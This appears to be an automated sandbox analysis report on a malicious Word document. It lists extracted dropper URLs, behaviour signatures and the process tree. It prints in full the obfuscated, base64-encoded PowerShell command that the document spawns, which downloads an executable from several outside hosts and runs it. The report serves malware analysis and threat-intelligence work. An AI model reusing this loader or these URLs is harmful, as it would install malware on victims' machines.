Analysis
- max time kernel
100s - max time network
102s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
13/06/2024, 02:59
General
- Target a39c40c95f6a85b573d18668c83cb71c_JaffaCakes118.doc
- Size 178KB
- Sample240613-dg65dasbpd
- SHA256 9c3f81236f7fcb19d6e1304ad6c89255461a66f783e372f62c8fc93fa4bfcd8e
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.hhbiao.com/ro/hEGGg/
-
exe.dropper
https://kissanime24.com/anime/tnqblnm875789/
-
exe.dropper
http://ahansatan.com/wp-admin/IPTpsJjvkKHDM/
-
exe.dropper
http://goldoni.co.uk/bmnfg411/qQmxCDIzDcR/
-
exe.dropper
http://hirken.com.au/images/kul5uy3a48/
-
exe.dropper
http://hofhuistechniek.nl/localhost/ZDN9mtkv7hsl25097064/
-
exe.dropper
http://itcnt.com.np/2xk_kxs_r3u3g4/u2ka4qa5362685/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a39c40c95f6a85b573d18668c83cb71c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABMAF8AdgB1ADcAMgA0AD0AKAAnAEoAXwAnACsAJwAzADYAJwArACcANgAxAG4AJwApADsAJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBQAFwAbwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQBgAFIAaQBUAHkAcABgAFIAbwB0AGAAbwBDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABKADMAZgA4ADMAbgBsACAAPQAgACgAJwBOACcAKwAnAHQAJwArACcANgB1AHcAZgB2ACcAKQA7ACQATAAwAHMAMgBuAF8AeAA9ACgAJwBCAG0AYgBkAHUAXwAnACsAJwBiACcAKQA7ACQARgB2ADgAaAA5ADIAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcATgBkAHQATwBmAGYAaQAnACsAJwBjAGUAMgAwADEAOQBOACcAKwAnAGQAdAAnACkALgAiAFIARQBQAGAATABhAGMARQAiACgAKABbAGMAaABhAFIAXQA3ADgAKwBbAGMAaABhAFIAXQAxADAAMAArAFsAYwBoAGEAUgBdADEAMQA2ACkALABbAFMAdAByAGkATgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQASgAzAGYAOAAzAG4AbAArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAVQB5ADUAMABfAHoAdQA9ACgAJwBLADEAbwAnACsAJwBpAHMAMgB2ACcAKQA7ACQAUABiAHIAYgBlAHQAbgA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgBXAEUAYgBDAEwAaQBlAE4AVAA7ACQASABfAG8ANwBzAHQAOAA9ACgAJwBoACcAKwAnAHQAdABwAHMAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACsAJwBoACcAKwAnAGgAJwArACcAYgBpAGEAbwAuACcAKwAnAGMAbwBtACcAKwAnAC8AcgBvAC8AJwArACcAaABFAEcARwBnAC8AJwArACcAKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AawBpAHMAcwBhAG4AaQBtAGUAJwArACcAMgA0AC4AYwBvAG0ALwBhAG4AaQBtAGUALwB0AG4AcQBiAGwAJwArACcAbgBtADgAJwArACcANwA1ADcAOAAnACsAJwA5AC8AKgBoACcAKwAnAHQAdABwADoALwAvAGEAaABhAG4AcwAnACsAJwBhAHQAYQBuAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBJAFAAJwArACcAVAAnACsAJwBwAHMASgBqACcAKwAnAHYAawAnACsAJwBLACcAKwAnAEgARABNAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGcAbwBsAGQAbwBuAGkALgBjAG8ALgB1AGsALwBiAG0AbgBmAGcANAAxADEALwBxAFEAbQB4ACcAKwAnAEMARABJAHoARABjAFIALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AaABpAHIAawBlAG4ALgBjAG8AbQAuAGEAdQAvAGkAbQAnACsAJwBhACcAKwAnAGcAZQBzAC8AawB1AGwANQB1AHkAJwArACcAMwBhACcAKwAnADQAOAAvACoAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwBoACcAKwAnAG8AZgBoAHUAaQBzAHQAJwArACcAZQAnACsAJwBjAGgAJwArACcAbgBpAGUAawAuAG4AbAAvAGwAJwArACcAbwBjAGEAbAAnACsAJwBoAG8AcwB0AC8AWgBEAE4AJwArACcAOQBtACcAKwAnAHQAawAnACsAJwB2ADcAaABzACcAKwAnAGwAMgA1ADAAJwArACcAOQA3ACcAKwAnADAANgA0AC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGkAdABjACcAKwAnAG4AdAAuACcAKwAnAGMAbwBtAC4AbgBwAC8AMgB4AGsAJwArACcAXwBrACcAKwAnAHgAcwBfAHIAJwArACcAMwB1ADMAZwA0AC8AdQAyAGsAYQA0AHEAJwArACcAYQA1ACcAKwAnADMAJwArACcANgAyACcAKwAnADYAOAAnACsAJwA1AC8AJwApAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAYQBlADgAaQBjADcAPQAoACcASQBtADQAcwAnACsAJwB5AGsAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAG8AdQByAGMAZQB0ACAAaQBuACAAJABIAF8AbwA3AHMAdAA4ACkAewB0AHIAeQB7ACQAUABiAHIAYgBlAHQAbgAuACIARABvAFcATgBgAGwATwBhAEQAYABGAEkAbABlACIAKAAkAFUAbwB1AHIAYwBlAHQALAAgACQARgB2ADgAaAA5ADIAdAApADsAJABNAG4AMwAwAGwAeAB2AD0AKAAnAEsANgBtAHkAdwAnACsAJwBvACcAKwAnADkAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEYAdgA4AGgAOQAyAHQAKQAuACIAbABFAE4AYABHAHQASAAiACAALQBnAGUAIAAyADYAMwA0ADgAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQARgB2ADgAaAA5ADIAdAApADsAJABUAHoAdAA2AGUAaQB6AD0AKAAnAEwAeAAnACsAJwB5ADgAYgAnACsAJwBhAGQAJwApADsAYgByAGUAYQBrADsAJABXADIAZgBfAHgAMAAzAD0AKAAnAEoAcwAnACsAJwBvADIAaQA0ADkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADIAOAB3AG8AegBuAD0AKAAnAEMAJwArACcAZwA3ACcAKwAnAGEAOQA3AG4AJwApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_frpilqq5.k44.ps1
Nt6uwfv.exe
memory/1540-66-0x0000020474740000-0x0000020474762000-memory.dmp
memory/2152-8-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-49-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-4-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-3-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-0-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-9-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-12-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-11-0x00007FFC19240000-0x00007FFC19250000-memory.dmp
memory/2152-14-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-15-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-16-0x00007FFC19240000-0x00007FFC19250000-memory.dmp
memory/2152-13-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-10-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-27-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-28-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-5-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-6-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-7-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-78-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-79-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-1-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-557-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-558-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-559-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-560-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp
memory/2152-2-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-592-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-593-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-595-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-594-0x00007FFC1B3B0000-0x00007FFC1B3C0000-memory.dmp
memory/2152-596-0x00007FFC5B330000-0x00007FFC5B525000-memory.dmp